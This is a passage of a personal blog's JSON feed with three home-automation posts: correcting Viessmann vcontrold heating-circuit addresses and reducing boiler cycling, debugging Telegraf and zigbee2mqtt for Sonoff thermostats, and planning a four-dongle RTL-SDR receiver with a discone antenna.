reproducible.\u003C\/p\u003E\n","date_published":"2026-04-16T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/viessmann-vcontrold-4-years-of-wrong-addresses-and-too-much-cycling","url":"https:\/\/malura.de\/en\/blog\/viessmann-vcontrold-4-years-of-wrong-addresses-and-too-much-cycling","title":"Viessmann vcontrold: 4 Years of Wrong Addresses and Too Much Cycling","content_html":"\u003Cp\u003EWhile cleaning up my Grafana dashboards I noticed that my Viessmann Vitoladens 300-C cycles way too often: 17-52 burner starts per day, averaging just 9 minutes per run. That\u0026#039;s way too short for an oil condensing boiler. So I dug deeper and found a massive bug in my vcontrold config in the process. Since 2022 I\u0026#039;d been reading and writing heating circuit 1 instead of heating circuit 2. All my heating curve changes went nowhere, all the logged values were phantom data.\u003C\/p\u003E\n\u003Cp\u003E\u003Ca href=\u0022\/blog\/2019\/09\/24\/automatischer-export-meiner-viessmann-heizung\/\u0022\u003EI\u0026#039;ve been logging the heating system via vcontrold since 2019\u003C\/a\u003E, and ever since the data has been flowing into InfluxDB so I can see in Grafana what the system is doing. Always worked, or so I thought.\u003C\/p\u003E\n\u003Ch2\u003EHow I found the bug\u003C\/h2\u003E\n\u003Cp\u003EI changed the heating curve slope from 1.4 to 1.6 on the heating display as a test. vcontrold kept reading 1.2. That can\u0026#039;t be right - either vcontrold is reading wrong or the display is showing garbage. So I checked the \u003Ccode\u003Evito.xml\u003C\/code\u003E: all the heating circuit commands were using \u003Ccode\u003E2xxx\u003C\/code\u003E addresses (heating circuit 1). But my system only has heating circuit 2 with mixer M2. That one runs on \u003Ccode\u003E3xxx\u003C\/code\u003E addresses.\u003C\/p\u003E\n\u003Cp\u003EMy tests with a temporary config confirmed that the HK2 addresses deliver exactly the display values. The HK1 addresses showed frozen defaults. \u003Cstrong\u003ESince 2022 I\u0026#039;d been logging ghost data.\u003C\/strong\u003E\u003C\/p\u003E\n\u003Ch2\u003EViessmann Optolink address scheme\u003C\/h2\u003E\n\u003Cp\u003EHeating circuits have different address ranges:\u003C\/p\u003E\n\u003Ctable\u003E\n\u003Cthead\u003E\n\u003Ctr\u003E\n\u003Cth\u003EHeating circuit\u003C\/th\u003E\n\u003Cth\u003EAddress range\u003C\/th\u003E\n\u003Cth\u003ECurve\u003C\/th\u003E\n\u003Cth\u003EOperation\u003C\/th\u003E\n\u003Cth\u003ETimer\u003C\/th\u003E\n\u003C\/tr\u003E\n\u003C\/thead\u003E\n\u003Ctbody\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EHK1 (no mixer)\u003C\/td\u003E\n\u003Ctd\u003E2xxx\u003C\/td\u003E\n\u003Ctd\u003E27D3\/27D4\u003C\/td\u003E\n\u003Ctd\u003E2323\u003C\/td\u003E\n\u003Ctd\u003E2000-2030\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EHK2 (with mixer)\u003C\/td\u003E\n\u003Ctd\u003E3xxx\u003C\/td\u003E\n\u003Ctd\u003E37D3\/37D4\u003C\/td\u003E\n\u003Ctd\u003E3323\u003C\/td\u003E\n\u003Ctd\u003E3000-3030\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EHK3 (mixer M3)\u003C\/td\u003E\n\u003Ctd\u003E4xxx\u003C\/td\u003E\n\u003Ctd\u003Esame pattern\u003C\/td\u003E\n\u003Ctd\u003Esame pattern\u003C\/td\u003E\n\u003Ctd\u003Esame pattern\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003C\/tbody\u003E\n\u003C\/table\u003E\n\u003Cp\u003EGlobal addresses (boiler, hot water, solar, burner) stay at \u003Ccode\u003E0xxx\u003C\/code\u003E, \u003Ccode\u003E5xxx\u003C\/code\u003E, \u003Ccode\u003E6xxx\u003C\/code\u003E, \u003Ccode\u003E7xxx\u003C\/code\u003E, \u003Ccode\u003E8xxx\u003C\/code\u003E.\u003C\/p\u003E\n\u003Ch2\u003EThe big address correction\u003C\/h2\u003E\n\u003Cp\u003EMoved all heating circuit commands from HK1 to HK2:\u003C\/p\u003E\n\u003Ctable\u003E\n\u003Cthead\u003E\n\u003Ctr\u003E\n\u003Cth\u003ECommand\u003C\/th\u003E\n\u003Cth\u003EOld (HK1)\u003C\/th\u003E\n\u003Cth\u003ENew (HK2)\u003C\/th\u003E\n\u003C\/tr\u003E\n\u003C\/thead\u003E\n\u003Ctbody\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EKennlinieNeigung\u003C\/td\u003E\n\u003Ctd\u003E27D3\u003C\/td\u003E\n\u003Ctd\u003E37D3\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EKennlinieNiveau\u003C\/td\u003E\n\u003Ctd\u003E27D4\u003C\/td\u003E\n\u003Ctd\u003E37D4\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EBetriebsart\u003C\/td\u003E\n\u003Ctd\u003E2323\u003C\/td\u003E\n\u003Ctd\u003E3323\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003ERaumNorSoll\u003C\/td\u003E\n\u003Ctd\u003E2306\u003C\/td\u003E\n\u003Ctd\u003E3306\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003ERaumRedSoll\u003C\/td\u003E\n\u003Ctd\u003E2307\u003C\/td\u003E\n\u003Ctd\u003E3307\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EVLSoll\u003C\/td\u003E\n\u003Ctd\u003E2544\u003C\/td\u003E\n\u003Ctd\u003E3544\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003ETimer Mo-So\u003C\/td\u003E\n\u003Ctd\u003E2000-2030\u003C\/td\u003E\n\u003Ctd\u003E3000-3030\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003C\/tbody\u003E\n\u003C\/table\u003E\n\u003Cp\u003EOn top of that I checked the OpenV reference XML and found even more broken addresses:\u003C\/p\u003E\n\u003Ctable\u003E\n\u003Cthead\u003E\n\u003Ctr\u003E\n\u003Cth\u003ESensor\u003C\/th\u003E\n\u003Cth\u003EOld\u003C\/th\u003E\n\u003Cth\u003ENew\u003C\/th\u003E\n\u003Cth\u003EProblem\u003C\/th\u003E\n\u003C\/tr\u003E\n\u003C\/thead\u003E\n\u003Ctbody\u003E\n\u003Ctr\u003E\n\u003Ctd\u003ESpeicherladepumpe\u003C\/td\u003E\n\u003Ctd\u003E6513\u003C\/td\u003E\n\u003Ctd\u003E6513\u003C\/td\u003E\n\u003Ctd\u003EStays correct (0845 was wrong, reverted)\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EZirkulationspumpe\u003C\/td\u003E\n\u003Ctd\u003E6515\u003C\/td\u003E\n\u003Ctd\u003E6515\u003C\/td\u003E\n\u003Ctd\u003EStays correct (0846 was wrong, reverted)\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EBrennerstatus\u003C\/td\u003E\n\u003Ctd\u003E55DE\u003C\/td\u003E\n\u003Ctd\u003E0842\u003C\/td\u003E\n\u003Ctd\u003ENever showed ON\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003EDrehzahlPumpeIntern\u003C\/td\u003E\n\u003Ctd\u003E7663 (CO)\u003C\/td\u003E\n\u003Ctd\u003E7663 (PC)\u003C\/td\u003E\n\u003Ctd\u003EUnit correction\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003C\/tbody\u003E\n\u003C\/table\u003E\n\u003Cp\u003ESensors that constantly returned 20\u00b0C or \u003Ccode\u003E?\u003C\/code\u003E I removed (WWAuslauf, RaumHK, Umschaltventil, BrennerStufe). The system doesn\u0026#039;t have those sensors.\u003C\/p\u003E\n\u003Ch2\u003EThe cycling problem\u003C\/h2\u003E\n\u003Cp\u003EWith the correct addresses I could finally see real data. Analysis of the last few months:\u003C\/p\u003E\n\u003Ctable\u003E\n\u003Cthead\u003E\n\u003Ctr\u003E\n\u003Cth\u003EOutside temp\u003C\/th\u003E\n\u003Cth\u003EAvg starts\/day\u003C\/th\u003E\n\u003Cth\u003EAvg runtime\/day\u003C\/th\u003E\n\u003Cth\u003EAvg min\/start\u003C\/th\u003E\n\u003C\/tr\u003E\n\u003C\/thead\u003E\n\u003Ctbody\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E-5\u00b0 to 0\u00b0\u003C\/td\u003E\n\u003Ctd\u003E52\u003C\/td\u003E\n\u003Ctd\u003E9.9h\u003C\/td\u003E\n\u003Ctd\u003E11.5 min\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E0\u00b0 to 5\u00b0\u003C\/td\u003E\n\u003Ctd\u003E45\u003C\/td\u003E\n\u003Ctd\u003E7.7h\u003C\/td\u003E\n\u003Ctd\u003E10.2 min\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E5\u00b0 to 10\u00b0\u003C\/td\u003E\n\u003Ctd\u003E34\u003C\/td\u003E\n\u003Ctd\u003E5.1h\u003C\/td\u003E\n\u003Ctd\u003E9.1 min\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E10\u00b0 to 15\u00b0\u003C\/td\u003E\n\u003Ctd\u003E17\u003C\/td\u003E\n\u003Ctd\u003E2.5h\u003C\/td\u003E\n\u003Ctd\u003E9.2 min\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003C\/tbody\u003E\n\u003C\/table\u003E\n\u003Cp\u003E\u003Cstrong\u003E9 minutes per start is too short.\u003C\/strong\u003E Target for condensing operation: 20\u0026#43; minutes. The live logs showed that during the shoulder season the cycling mainly comes from hot water heating, not from the heating circuit. The burner heats the boiler (55L volume) from ~48\u00b0C to 65-70\u00b0C for hot water, quickly reaches the cut-off hysteresis, and switches off. Then the next cycle starts.\u003C\/p\u003E\n\u003Ch2\u003ECoding address 9F: the game changer\u003C\/h2\u003E\n\u003Cp\u003EResearch in Viessmann community threads turned up: \u003Cstrong\u003Ecoding address 9F\u003C\/strong\u003E controls the differential temperature between the boiler and the heating circuit with mixer. The factory value is 8K, so the boiler heats 8\u00b0C above the flow setpoint. At 9F\u0026#61;8 the mixer never opens all the way. The heat stays in the 55L boiler instead of flowing into the radiators.\u003C\/p\u003E\n\u003Cp\u003ESo I set 9F to 0. That way the mixer is fully open at burner start, full flow runs through the radiators. The entire radiator and wall mass acts as a heat sink and the burner runs longer.\u003C\/p\u003E\n\u003Cp\u003EExperiences from the forum showed that this drops the starts by 22% (31-\u0026gt;24\/day) and increases the runtime by 21% (5.7-\u0026gt;6.9 min).\u003C\/p\u003E\n\u003Ch2\u003EAccessing coding level 2\u003C\/h2\u003E\n\u003Cp\u003ECoding level 2 on the Vitotronic 200 display:\u003C\/p\u003E\n\u003Col\u003E\n\u003Cli\u003E\u003Cstrong\u003EMenu \u0026#43; OK\u003C\/strong\u003E simultaneously for ~2 sec. -\u0026gt; coding level 1\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMenu \u0026#43; OK\u003C\/strong\u003E simultaneously again -\u0026gt; coding level 2 (service)\u003C\/li\u003E\n\u003Cli\u003EUse up\/down to pick the coding address -\u0026gt; OK -\u0026gt; change value -\u0026gt; OK\u003C\/li\u003E\n\u003C\/ol\u003E\n\u003Cp\u003EGroups: 00\u0026#61;scheme, 02-33\u0026#61;boiler, 55-75\u0026#61;hot water, 7F-95\u0026#61;general, A0-FF\u0026#61;heating circuit (9F lives here).\u003C\/p\u003E\n\u003Ch2\u003EAll changes from April 16, 2026\u003C\/h2\u003E\n\u003Ctable\u003E\n\u003Cthead\u003E\n\u003Ctr\u003E\n\u003Cth\u003ESetting\u003C\/th\u003E\n\u003Cth\u003EBefore\u003C\/th\u003E\n\u003Cth\u003EAfter\u003C\/th\u003E\n\u003Cth\u003EEffect\u003C\/th\u003E\n\u003C\/tr\u003E\n\u003C\/thead\u003E\n\u003Ctbody\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E\u003Cstrong\u003E9F\u003C\/strong\u003E (cod.2)\u003C\/td\u003E\n\u003Ctd\u003E8\u003C\/td\u003E\n\u003Ctd\u003E\u003Cstrong\u003E0\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003E~20% fewer starts\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E\u003Cstrong\u003ECurve slope\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003E1.4\u003C\/td\u003E\n\u003Ctd\u003E\u003Cstrong\u003E1.0\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003ELower flow temp\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E\u003Cstrong\u003Evcontrold addresses\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003EHK1 (2xxx)\u003C\/td\u003E\n\u003Ctd\u003E\u003Cstrong\u003EHK2 (3xxx)\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003EReal values\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E\u003Cstrong\u003EFlame address\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003E55DE\u003C\/td\u003E\n\u003Ctd\u003E\u003Cstrong\u003E0842\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003EBurner status visible\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003Ctr\u003E\n\u003Ctd\u003E\u003Cstrong\u003ESampling\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003E3 min\u003C\/td\u003E\n\u003Ctd\u003E\u003Cstrong\u003E1 min\u003C\/strong\u003E\u003C\/td\u003E\n\u003Ctd\u003ECapture cycling better\u003C\/td\u003E\n\u003C\/tr\u003E\n\u003C\/tbody\u003E\n\u003C\/table\u003E\n\u003Cp\u003EOn top of that I lowered the heating curve slope from 1.4 to 1.0. Lower flow temperatures mean less oil and less aggressive cycling.\u003C\/p\u003E\n\u003Ch2\u003EOutlook\u003C\/h2\u003E\n\u003Cp\u003ENow I\u0026#039;m collecting 2-3 days of data with 9F\u0026#61;0 and slope 1.0. If the burner starts drop below 25\/day and the runtimes climb above 12 minutes, it worked. In winter I\u0026#039;ll then also test coding addresses C5, C6 and 06 to further limit the flow and boiler temperature.\u003C\/p\u003E\n\u003Cp\u003EThe big lesson: \u003Cstrong\u003Ealways cross-check the display values against the logged values.\u003C\/strong\u003E Otherwise you spend 4 years optimizing ghost data.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2026-04-16T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/zigbee-smart-heating-telegraf-crashes-and-trvs-lie","url":"https:\/\/malura.de\/en\/blog\/zigbee-smart-heating-telegraf-crashes-and-trvs-lie","title":"Zigbee Smart Heating: Telegraf Crashes and TRVs Lie","content_html":"\u003Cp\u003EI have 6 Zigbee devices for heating control: 4 Sonoff thermostats (TRVs) and 2 temperature sensors. But only 3 of them showed up in InfluxDB. Telegraf was running, zigbee2mqtt too, but something in between was broken. So I debugged it.\u003C\/p\u003E\n\u003Cp\u003E\u003Ca href=\u0022\/blog\/2026\/04\/13\/smart-heating-zigbee\/\u0022\u003EThe Zigbee smart heating setup\u003C\/a\u003E ran for a few days, then I noticed that not all devices were delivering data. Time to debug.\u003C\/p\u003E\n\u003Ch2\u003ETelegraf crashes with bridge topics\u003C\/h2\u003E\n\u003Cp\u003ETelegraf subscribed to \u003Ccode\u003Ezigbee2mqtt\/\u0026#43;\u003C\/code\u003E, a wildcard that matches ALL topics. That went wrong because zigbee2mqtt also sends \u003Ccode\u003Ezigbee2mqtt\/bridge\u003C\/code\u003E messages with arrays and nested objects. Telegraf\u0026#039;s JSON parser couldn\u0026#039;t handle them and crashed.\u003C\/p\u003E\n\u003Cp\u003EThe fix was explicit device topics instead of a wildcard in the Telegraf config:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E[[\u003C\/span\u003E\u003Cspan class=\u0022hl-type\u0022\u003Einputs.mqtt_consumer\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E]]\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-property\u0022\u003Etopics\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E[\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/B\u00fcro Temp\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/B\u00fcro gro\u00df\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/B\u00fcro klein\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/Wohnzimmer Temp\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/Wohnzimmer gro\u00df\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n    \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/Wohnzimmer klein\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E\n  \u003Cspan class=\u0022hl-operator\u0022\u003E]\u003C\/span\u003E\n\u003C\/pre\u003E\n\u003Cp\u003EAfter that all 6 devices arrived in InfluxDB.\u003C\/p\u003E\n\u003Ch2\u003ETRV measures way too warm\u003C\/h2\u003E\n\u003Cp\u003EThe thermostat \u0026#34;B\u00fcro klein\u0026#34; showed 24\u00b0C even though the external sensor reported 21\u00b0C. The valve regulated accordingly wrong. Turned out that \u003Ccode\u003Etemperature_sensor_select\u003C\/code\u003E was set to \u003Ccode\u003Einternal\u003C\/code\u003E. The internal sensor sits right on the radiator and measures the radiator temperature, not the room air.\u003C\/p\u003E\n\u003Cp\u003ESo I switched it to the external sensor via MQTT:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Emosquitto_pub \u003Cspan class=\u0022hl-generic\u0022\u003E-t\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;zigbee2mqtt\/B\u00fcro klein\/set\u0026#34;\u003C\/span\u003E \\\n  \u003Cspan class=\u0022hl-generic\u0022\u003E-m\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#039;{\u0026#34;temperature_sensor_select\u0026#34;: \u0026#34;external_2\u0026#34;}\u0026#039;\u003C\/span\u003E\n\u003C\/pre\u003E\n\u003Cp\u003ENow the TRV regulates based on the real room sensor.\u003C\/p\u003E\n\u003Ch2\u003Evalve_opening_degree misunderstanding\u003C\/h2\u003E\n\u003Cp\u003EI thought \u003Ccode\u003Evalve_opening_degree\u003C\/code\u003E showed the current valve position in percent. But it stayed constantly at 100%, regardless of whether the valve was open or closed. Research in the zigbee2mqtt documentation and GitHub issues led to the realization that the field is a calibration limit, not the position.\u003C\/p\u003E\n\u003Cp\u003EThe Sonoff TRVZB doesn\u0026#039;t output the actual valve position as a percentage. Only \u003Ccode\u003Erunning_state\u003C\/code\u003E (idle\/heat) shows whether it\u0026#039;s actively heating.\u003C\/p\u003E\n\u003Cp\u003ESo I removed the panel and built a state timeline for \u003Ccode\u003Erunning_state\u003C\/code\u003E instead. For that I had to add \u003Ccode\u003Erunning_state\u003C\/code\u003E to the Telegraf config as \u003Ccode\u003Ejson_string_fields\u003C\/code\u003E:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-property\u0022\u003Ejson_string_fields\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E\u0026#61;\u003C\/span\u003E \u003Cspan class=\u0022hl-operator\u0022\u003E[\u003C\/span\u003E\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;running_state\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;battery\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E,\u003C\/span\u003E \u003Cspan class=\u0022hl-value\u0022\u003E\u0026#34;linkquality\u0026#34;\u003C\/span\u003E\u003Cspan class=\u0022hl-operator\u0022\u003E]\u003C\/span\u003E\n\u003C\/pre\u003E\n\u003Cp\u003ENow I can see for each TRV whether it\u0026#039;s currently heating or idle. That\u0026#039;s enough.\u003C\/p\u003E\n\u003Ch2\u003ELessons Learned\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003EWildcards in MQTT subscriptions are dangerous when the topics have different structures\u003C\/li\u003E\n\u003Cli\u003ETRVs with an internal sensor are unreliable \u2192 always use external sensors\u003C\/li\u003E\n\u003Cli\u003ERead the documentation before getting annoyed about \u0026#34;broken\u0026#34; values, sometimes fields don\u0026#039;t mean what you think\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EThe heating control now runs cleanly. All 6 devices log correctly, the TRVs regulate based on real room temperatures.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2026-04-16T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/vhf-uhf-multi-sdr-setup-one-antenna-for-many-frequencies","url":"https:\/\/malura.de\/en\/blog\/vhf-uhf-multi-sdr-setup-one-antenna-for-many-frequencies","title":"VHF\/UHF Multi-SDR Setup - One Antenna for Many Frequencies","content_html":"\u003Cp\u003EAfter the \u003Ca href=\u0022\/blog\/2026\/04\/13\/flightradar-adsb-feeder\/\u0022\u003EFlightradar ADS-B setup\u003C\/a\u003E one thing was clear: RTL-SDR is a blast and I want to receive more. Air band, ACARS, NOAA weather satellites, marine VHF, ISM band - all in the VHF\/UHF range between 100 MHz and 500 MHz. A discone antenna can do all of it, but with a single dongle I can only ever listen to one frequency at a time. So I\u0026#039;m planning to grab an LNA, a 4-way splitter and four RTL-SDR sticks.\u003C\/p\u003E\n\u003Ch2\u003EWhat I want to receive\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EAir band (118-137 MHz)\u003C\/strong\u003E - pilots talking to the tower\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EACARS (131.550 MHz)\u003C\/strong\u003E - aircraft automatically sending weather and status messages\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ENOAA (137 MHz)\u003C\/strong\u003E - receive weather satellite images live\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMarine VHF (156-162 MHz)\u003C\/strong\u003E - ship communication\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EISM band (433 MHz)\u003C\/strong\u003E - IoT, weather stations, garage doors\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EAll in the VHF\/UHF range, perfect for a discone antenna. ADS-B (1090 MHz) stays separate on the dedicated setup described in the Flightradar post.\u003C\/p\u003E\n\u003Ch2\u003EWhy not just one dongle\u003C\/h2\u003E\n\u003Cp\u003EA single RTL-SDR can only receive ~3 MHz of bandwidth at a time. I can listen to either air band OR NOAA OR marine VHF, but not all in parallel. Software multiplexing (one dongle, several programs) doesn\u0026#039;t work either when the frequencies are too far apart.\u003C\/p\u003E\n\u003Ch2\u003EThe plan: Multi-SDR with a splitter\u003C\/h2\u003E\n\u003Cp\u003EA discone antenna receives 25-1300 MHz, so all of my frequencies. The signal runs through an LNA (Low Noise Amplifier) for \u0026#43;20 dB of gain, then into a 4-way splitter (-8 dB loss), and from there to four RTL-SDR dongles. Each dongle can then independently receive a different frequency.\u003C\/p\u003E\n\u003Cp\u003E\u003Cstrong\u003ESignal flow:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003EDiscone (25-1300 MHz)\n  |\nLaNA (\u0026#43;20 dB)\n  |\n4-fach Splitter (-8 dB)\n  |-\u0026gt; RTL-SDR #1 (Flugfunk)\n  |-\u0026gt; RTL-SDR #2 (ACARS)\n  |-\u0026gt; RTL-SDR #3 (NOAA)\n  |-\u0026gt; RTL-SDR #4 (Marine VHF \/ ISM)\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Cstrong\u003ENet: \u0026#43;12 dB gain.\u003C\/strong\u003E The LNA compensates for the splitter loss and still gives some extra power for weak satellite signals.\u003C\/p\u003E\n\u003Ch2\u003EHardware list\u003C\/h2\u003E\n\u003Cp\u003E\u003Cstrong\u003EAntenna:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/amzn.to\/3Q44AA9\u0022\u003EAlbrecht SE 900 Discone\u003C\/a\u003E - \u20ac88\n\u003Cul\u003E\n\u003Cli\u003E25-1300 MHz reception\u003C\/li\u003E\n\u003Cli\u003E66 cm tall, 80 cm diameter\u003C\/li\u003E\n\u003Cli\u003ETransmit-capable 200W (in case of amateur radio later)\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003E\u003Cstrong\u003ELNA (amplifier):\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/amzn.to\/3O1VaVd\u0022\u003ENooelec LaNA\u003C\/a\u003E - \u20ac38\n\u003Cul\u003E\n\u003Cli\u003E20 MHz - 4 GHz broadband\u003C\/li\u003E\n\u003Cli\u003E~20 dB gain\u003C\/li\u003E\n\u003Cli\u003EUSB-powered\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003E\u003Cstrong\u003ESplitter:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/amzn.to\/4dN00jr\u0022\u003EAxing BVS 4-01\u003C\/a\u003E - \u20ac17\n\u003Cul\u003E\n\u003Cli\u003E5-1800 MHz\u003C\/li\u003E\n\u003Cli\u003E4-way splitter\u003C\/li\u003E\n\u003Cli\u003EOptimized for FM\/DAB\u0026#43;\/DVB-T\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003E\u003Cstrong\u003ESDR receivers:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E4\u00d7 RTL-SDR Blog V3 - ~\u20ac140\n\u003Cul\u003E\n\u003Cli\u003E100 kHz - 1.75 GHz\u003C\/li\u003E\n\u003Cli\u003ETCXO (stable frequency)\u003C\/li\u003E\n\u003Cli\u003EBias-Tee built in\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003E\u003Cstrong\u003ECables \u0026amp; adapters:\u003C\/strong\u003E ~\u20ac20-30\u003C\/p\u003E\n\u003Cp\u003E\u003Cstrong\u003ETotal: ~\u20ac303\u003C\/strong\u003E\u003C\/p\u003E\n\u003Ch2\u003EWhy LaNA \u0026#43; splitter instead of four antennas\u003C\/h2\u003E\n\u003Cp\u003EFour separate antennas (one per frequency) would be cheaper on antenna price alone, but:\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003ESpace:\u003C\/strong\u003E four antennas on the roof is impractical\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMounting:\u003C\/strong\u003E pulling four cables through the roof is a pain\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EFlexibility:\u003C\/strong\u003E with a splitter I can repurpose the dongles (NOAA today, DAB\u0026#43; tomorrow)\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EThe LNA makes the setup more expensive (\u0026#43;\u20ac38), but without it weak satellite signals (NOAA) would drown in the noise. The 8 dB of splitter loss is too much for signals that are already weak.\u003C\/p\u003E\n\u003Ch2\u003EWhat I want to do with it\u003C\/h2\u003E\n\u003Cp\u003E\u003Cstrong\u003EAutomatic receivers:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003ENOAA:\u003C\/strong\u003E \u003Ccode\u003Enoaa-apt\u003C\/code\u003E will automatically decode satellite images when the satellite passes overhead\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EACARS:\u003C\/strong\u003E \u003Ccode\u003Eacarsdec\u003C\/code\u003E logs aircraft messages into InfluxDB\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EAIS (marine):\u003C\/strong\u003E maybe, if marine VHF comes in well 